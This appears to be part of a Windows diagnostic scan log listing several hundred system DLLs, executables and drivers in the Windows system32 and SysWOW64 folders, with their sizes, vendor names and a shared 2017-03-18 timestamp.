2017-03-18 22:58 - 2017-03-18 22:58 - 01750528 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Speech.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01722880 _____ (Microsoft Corporation) C:\windows\system32\dui70.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01713664 _____ (Microsoft Corporation) C:\windows\system32\ActiveSyncProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01675264 _____ (Microsoft Corporation) C:\windows\system32\wpncore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01667832 _____ (Microsoft Corporation) C:\windows\system32\propsys.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01667584 _____ (Microsoft Corporation) C:\windows\system32\batmeter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01660416 _____ (Microsoft Corporation) C:\windows\SysWOW64\batmeter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01654784 _____ (Microsoft Corporation) C:\windows\SysWOW64\winmsipc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01640448 _____ (Microsoft Corporation) C:\windows\system32\GdiPlus.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01638400 ____R (The ICU Project) C:\windows\SysWOW64\icuin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01628672 _____ (Microsoft Corporation) C:\windows\system32\UserDataService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01623040 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Perception.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01620368 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntdll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01594984 _____ (Microsoft Corporation) C:\windows\system32\d3d9.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01589248 _____ (Microsoft Corporation) C:\windows\SysWOW64\msjet40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01580544 _____ (Microsoft Corporation) C:\windows\system32\Windows.Globalization.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01569792 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Graphics.Printing.3D.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01565184 _____ (Microsoft Corporation) C:\windows\SysWOW64\msxml3.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01540096 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Input.Inking.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01537536 _____ (Microsoft Corporation) C:\windows\SysWOW64\pla.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01513984 _____ (Microsoft Corporation) C:\windows\SysWOW64\NlsData0000.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01509888 _____ (Microsoft Corporation) C:\windows\SysWOW64\Wpc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01505280 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdt.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 01494528 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActiveSyncProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01490432 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.FaceAnalysis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01478656 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Bluetooth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01474048 _____ (Microsoft Corporation) C:\windows\SysWOW64\dui70.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01465360 _____ (Microsoft Corporation) C:\windows\SysWOW64\propsys.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01463808 _____ (Microsoft Corporation) C:\windows\system32\lsasrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01462272 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 01460736 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsp_fs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01452544 _____ (Microsoft Corporation) C:\windows\SysWOW64\rdpserverbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01448960 _____ (Microsoft Corporation) C:\windows\SysWOW64\GdiPlus.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01438208 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.Phone.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01433600 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Cred.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01402368 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.Maps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01397760 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmgaclient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01395200 _____ (Microsoft Corporation) C:\windows\system32\wwansvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01390592 _____ (Microsoft Corporation) C:\windows\SysWOW64\DxpTaskSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01386496 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvbvm60.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01355264 _____ (Microsoft Corporation) C:\windows\SysWOW64\OpcServices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01355264 _____ (Microsoft Corporation) C:\windows\system32\wifinetworkmanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01348608 _____ (Microsoft Corporation) C:\windows\system32\usercpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01329664 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsecedit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01322496 _____ (Microsoft Corporation) C:\windows\system32\Pimstore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01321984 ____R (The ICU Project) C:\windows\system32\icuuc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01318912 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsp_health.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01309696 _____ (Microsoft Corporation) C:\windows\SysWOW64\comsvcs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01306112 _____ (Microsoft Corporation) C:\windows\system32\Windows.Web.Http.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01300992 _____ (Microsoft Corporation) C:\windows\SysWOW64\wdc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01295360 _____ (Microsoft Corporation) C:\windows\SysWOW64\connect.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01295360 _____ (Microsoft Corporation) C:\windows\SysWOW64\comres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01295360 _____ (Microsoft Corporation) C:\windows\system32\lpasvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01284608 _____ (Microsoft Corporation) C:\windows\system32\SensorDataService.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 01282528 _____ (Microsoft Corporation) C:\windows\system32\WinTypes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01274368 _____ (Microsoft Corporation) C:\windows\system32\werconcpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01250816 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Input.Inking.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01244160 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.Phone.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01239040 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Speech.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01233408 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Globalization.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01232384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.FaceAnalysis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01229312 _____ (Microsoft Corporation) C:\windows\SysWOW64\usercpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01223168 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.Maps.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01222144 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfc42u.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01214464 _____ (Microsoft Corporation) C:\windows\system32\d3d10.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01204224 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfc42.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01194696 _____ (Microsoft Corporation) C:\windows\SysWOW64\AudioEng.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01192960 _____ (Microsoft Corporation) C:\windows\SysWOW64\wscui.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 01192448 _____ (Microsoft Corporation) C:\windows\system32\Unistore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01191424 _____ (Microsoft Corporation) C:\windows\system32\SEMgrSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01183232 _____ (Microsoft Corporation) C:\windows\SysWOW64\networkexplorer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01179136 _____ (Microsoft Corporation) C:\windows\system32\printui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01178624 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.Vpn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01178528 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppxPackaging.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01176064 _____ (Microsoft Corporation) C:\windows\system32\ApplicationFrame.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01173504 _____ (Microsoft Corporation) C:\windows\system32\JpMapControl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01171968 _____ (Microsoft Corporation) C:\windows\SysWOW64\certutil.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 01171032 _____ (Microsoft Corporation) C:\windows\system32\dcomp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01169920 _____ (Microsoft Corporation) C:\windows\SysWOW64\netcenter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01159680 _____ (Microsoft Corporation) C:\windows\system32\qmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01155584 _____ (Microsoft Corporation) C:\windows\SysWOW64\shellstyle.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01155584 _____ (Microsoft Corporation) C:\windows\system32\shellstyle.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01150776 _____ (Microsoft Corporation) C:\windows\SysWOW64\ucrtbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01142784 _____ (Microsoft Corporation) C:\windows\system32\localspl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01135616 ____R (The ICU Project) C:\windows\SysWOW64\icuuc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01135344 _____ (Microsoft Corporation) C:\windows\SysWOW64\Taskmgr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 01135104 _____ (Microsoft Corporation) C:\windows\system32\XblGameSave.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01108992 _____ (Microsoft Corporation) C:\windows\system32\EmailApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01101824 _____ (Microsoft Corporation) C:\windows\SysWOW64\Pimstore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01094144 _____ (Microsoft Corporation) C:\windows\system32\rdpbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01088512 _____ (Microsoft Corporation) C:\windows\SysWOW64\printui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01077496 _____ (Microsoft Corporation) C:\windows\SysWOW64\webservices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01069056 _____ (Microsoft Corporation) C:\windows\system32\windowsperformancerecordercontrol.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01065984 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.PointOfService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01065472 _____ (Microsoft Corporation) C:\windows\SysWOW64\onexui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01064960 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmdskres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01059840 _____ (Microsoft Corporation) C:\windows\SysWOW64\gpedit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01057824 _____ (Microsoft Corporation) C:\windows\system32\MrmCoreR.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01052672 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Ocr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01047552 _____ (Microsoft Corporation) C:\windows\system32\ContactApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01046528 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d10.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01046432 _____ (Microsoft Corporation) C:\windows\system32\ContentDeliveryManager.Utilities.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01044992 _____ (Microsoft Corporation) C:\windows\system32\opengl32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01038848 _____ (Microsoft Corporation) C:\windows\system32\Windows.Security.Authentication.OnlineId.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01016320 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.InkControls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01014784 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Xaml.Controls.Private.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01013248 _____ (Microsoft Corporation) C:\windows\system32\XblAuthManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00996864 _____ (Microsoft Corporation) C:\windows\system32\iphlpsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00993280 _____ (Microsoft Corporation) C:\windows\system32\winipcsecproc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00992808 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3D12.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00992256 _____ (Microsoft Corporation) C:\windows\system32\termsrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00987648 _____ (Microsoft Corporation) C:\windows\system32\wuapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00979968 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Web.Http.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00976384 _____ (Microsoft Corporation) C:\windows\SysWOW64\Unistore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00970752 _____ (Microsoft Corporation) C:\windows\system32\msctfuimanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00969216 _____ (Microsoft Corporation) C:\windows\system32\tapi3.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00967584 _____ (Microsoft Corporation) C:\windows\SysWOW64\ReAgent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00964608 _____ (Microsoft Corporation) C:\windows\system32\InkObjCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00955904 _____ (Microsoft Corporation) C:\windows\system32\fontext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00952832 _____ (Microsoft Corporation) C:\windows\system32\NMAA.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00949920 _____ (Microsoft Corporation) C:\windows\SysWOW64\dcomp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00945664 _____ (Microsoft Corporation) C:\windows\SysWOW64\rdpbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00943104 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.BackgroundTransfer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00942592 _____ (Microsoft Corporation) C:\windows\system32\wbiosrvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00942592 _____ (Microsoft Corporation) C:\windows\system32\taskbarcpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00938912 _____ (Microsoft Corporation) C:\windows\system32\Windows.Services.TargetedContent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00938496 _____ (Microsoft Corporation) C:\windows\system32\Windows.AccountsControl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00933376 _____ (Microsoft Corporation) C:\windows\system32\SearchIndexer.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00932352 _____ (Microsoft Corporation) C:\windows\SysWOW64\GamePanel.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00924944 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfc40u.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00924944 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfc40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00922624 _____ (Microsoft Corporation) C:\windows\system32\kerberos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00919040 _____ (Microsoft Corporation) C:\windows\SysWOW64\JpMapControl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00918528 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.Vpn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00900608 _____ (Microsoft Corporation) C:\windows\SysWOW64\fontext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00899072 _____ (Microsoft Corporation) C:\windows\SysWOW64\msctfuimanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00898048 _____ (Microsoft Corporation) C:\windows\system32\Windows.Globalization.PhoneNumberFormatting.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00897024 _____ (Microsoft Corporation) C:\windows\system32\WpcRefreshTask.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00892928 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Cred.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00891904 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Search.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00890880 _____ (Microsoft Corporation) C:\windows\SysWOW64\FirewallControlPanel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00888832 _____ (Microsoft Corporation) C:\windows\system32\MapControlCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00886272 _____ (Microsoft Corporation) C:\windows\SysWOW64\winipcsecproc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00878592 _____ (Microsoft Corporation) C:\windows\SysWOW64\inetcomm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00877568 _____ (Microsoft Corporation) C:\windows\system32\schedsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00877472 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ClipSp.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00875520 _____ (Microsoft Corporation) C:\windows\SysWOW64\autoconv.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00874496 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00873472 _____ (Microsoft Corporation) C:\windows\system32\cdprt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00872448 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMSPDMOD.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00871960 _____ (Microsoft Corporation) C:\windows\system32\winhttp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00871936 _____ (Microsoft Corporation) C:\windows\system32\rasmans.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00865232 _____ (Microsoft Corporation) C:\windows\SysWOW64\MrmCoreR.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00864240 _____ (Microsoft Corporation) C:\windows\SysWOW64\AudioSes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00863232 _____ (Microsoft Corporation) C:\windows\SysWOW64\imapi2fs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00859136 _____ (Microsoft Corporation) C:\windows\system32\uDWM.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00858112 _____ (Microsoft Corporation) C:\windows\SysWOW64\tapi3.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00858112 _____ (Microsoft Corporation) C:\windows\system32\ntshrui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00856416 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinTypes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00856064 _____ (Microsoft Corporation) C:\windows\SysWOW64\mswdat10.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00852480 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasgcw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00852480 _____ (Microsoft Corporation) C:\windows\SysWOW64\autofmt.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00849920 _____ (Microsoft Corporation) C:\windows\system32\samsrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00844288 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasdlg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00839680 _____ (Intel Corporation) C:\windows\SysWOW64\ir41_32original.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00836608 _____ (Microsoft Corporation) C:\windows\SysWOW64\EmailApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00833024 _____ (Microsoft Corporation) C:\windows\SysWOW64\ContactApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00832512 _____ (Microsoft Corporation) C:\windows\SysWOW64\windowsperformancerecordercontrol.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00832000 _____ (Microsoft Corporation) C:\windows\system32\printfilterpipelinesvc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00831488 _____ (Microsoft Corporation) C:\windows\system32\MbaeApiPublic.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00830464 _____ (Microsoft Corporation) C:\windows\SysWOW64\cdosys.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00827904 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Import.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00827392 _____ (Microsoft Corporation) C:\windows\SysWOW64\adtschema.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00827392 _____ (Microsoft Corporation) C:\windows\system32\win32spl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00821248 _____ (Microsoft Corporation) C:\windows\system32\MrmIndexer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00820120 _____ (Microsoft Corporation) C:\windows\system32\WWAHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00819200 _____ (Microsoft Corporation) C:\windows\system32\appwiz.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00818176 _____ (Microsoft Corporation) C:\windows\system32\MbaeApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00817664 _____ (Microsoft Corporation) C:\windows\system32\Windows.Security.Authentication.Web.Core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00813056 _____ (Microsoft Corporation) C:\windows\SysWOW64\Magnify.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00810400 _____ (Microsoft Corporation) C:\windows\SysWOW64\ContentDeliveryManager.Utilities.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00809984 _____ (Microsoft Corporation) C:\windows\SysWOW64\MiracastReceiver.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00809984 _____ (Microsoft Corporation) C:\windows\system32\Windows.Storage.Search.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00809984 _____ (Microsoft Corporation) C:\windows\system32\rasapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00804352 _____ (Microsoft Corporation) C:\windows\system32\Bubbles.scr
2017-03-18 22:58 - 2017-03-18 22:58 - 00804312 _____ C:\windows\SysWOW64\locale.nls
2017-03-18 22:58 - 2017-03-18 22:58 - 00804312 _____ C:\windows\system32\locale.nls
2017-03-18 22:58 - 2017-03-18 22:58 - 00802816 _____ (Microsoft Corporation) C:\windows\system32\wcmsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00797184 _____ (Microsoft Corporation) C:\windows\SysWOW64\SearchIndexer.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00794112 _____ (Microsoft Corporation) C:\windows\SysWOW64\NaturalLanguage6.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00793600 _____ (Microsoft Corporation) C:\windows\system32\provcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00791040 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntshrui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00787712 _____ (Microsoft Corporation) C:\windows\SysWOW64\rpcrt4.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00787456 _____ (Microsoft Corporation) C:\windows\SysWOW64\wuapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00782336 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxilconv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00782240 _____ (Microsoft Corporation) C:\windows\SysWOW64\drvstore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00777728 _____ (Microsoft Corporation) C:\windows\SysWOW64\azroles.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00777216 _____ (Microsoft Corporation) C:\windows\system32\netlogon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00776704 _____ (Microsoft Corporation) C:\windows\SysWOW64\opengl32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00774144 _____ (Microsoft Corporation) C:\windows\system32\mssvp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00773648 _____ (SQLite Development Team) C:\windows\system32\winsqlite3.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00772096 _____ (Microsoft Corporation) C:\windows\system32\PhoneService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00769680 _____ (Microsoft Corporation) C:\windows\system32\taskschd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00769608 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00769536 _____ (Microsoft Corporation) C:\windows\SysWOW64\TSWorkspace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00769536 _____ (Microsoft Corporation) C:\windows\system32\PCPKsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00768000 _____ (Microsoft Corporation) C:\windows\SysWOW64\mprddm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00763904 _____ (Microsoft Corporation) C:\windows\SysWOW64\ipsecsnp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00762368 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Security.Authentication.OnlineId.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00761856 _____ (Microsoft Corporation) C:\windows\system32\WinSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00761344 _____ (Microsoft Corporation) C:\windows\system32\BingOnlineServices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00760832 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00759808 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WdiWiFi.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00757760 _____ (Microsoft Corporation) C:\windows\SysWOW64\sbe.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00757760 _____ (Microsoft Corporation) C:\windows\system32\spoolsv.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00757760 _____ (Microsoft Corporation) C:\windows\system32\PrintRenderAPIHost.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00755200 _____ (Microsoft Corporation) C:\windows\system32\ChatApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00754688 _____ (Microsoft Corporation) C:\windows\SysWOW64\kerberos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00754176 _____ (Microsoft Corporation) C:\windows\system32\Windows.Gaming.Input.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00753664 _____ (Microsoft Corporation) C:\windows\SysWOW64\appwiz.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00750496 _____ (Microsoft Corporation) C:\windows\SysWOW64\WWAHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00749568 _____ (Microsoft Corporation) C:\windows\system32\AppointmentApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00747520 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.PointOfService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00746496 _____ (Microsoft Corporation) C:\windows\SysWOW64\devmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00746496 _____ (Intel Corporation) C:\windows\SysWOW64\ir50_32original.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00744448 _____ (Microsoft Corporation) C:\windows\SysWOW64\NMAA.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00743424 _____ (Microsoft Corporation) C:\windows\system32\lpksetup.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00742912 _____ (Microsoft Corporation) C:\windows\system32\internetmail.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00742400 _____ (Microsoft Corporation) C:\windows\system32\nshwfp.dll
